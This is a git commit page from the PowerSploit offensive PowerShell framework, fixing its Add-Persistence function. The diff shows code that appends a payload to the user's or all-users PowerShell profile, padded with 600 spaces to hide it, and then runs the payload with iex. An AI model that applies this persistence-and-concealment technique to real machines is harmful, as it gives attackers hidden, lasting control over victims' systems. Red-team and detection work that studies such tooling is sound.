diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2015-12-16 13:36:22 -0800 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2015-12-16 13:36:22 -0800 |
commit | ef37a138b8e0f76ff3ce1d6c2ccef65afae57d75 (patch) | |
tree | 1b9bfa8f7492ce6fe205ea1e8c5933538d23b3f1 | |
parent | 9a2dfad3de260977138f536b1332404ea1bf5db8 (diff) | |
download | PowerSploit-ef37a138b8e0f76ff3ce1d6c2ccef65afae57d75.tar.gz PowerSploit-ef37a138b8e0f76ff3ce1d6c2ccef65afae57d75.zip |
Fixed Add-Persistence. Issue #98
-rw-r--r-- | Persistence/Persistence.psm1 | 3 |
1 files changed, 2 insertions, 1 deletions
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 7528f2e..b27b981 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} -' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo +mkdir (Split-Path -Parent $Prof) +(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else |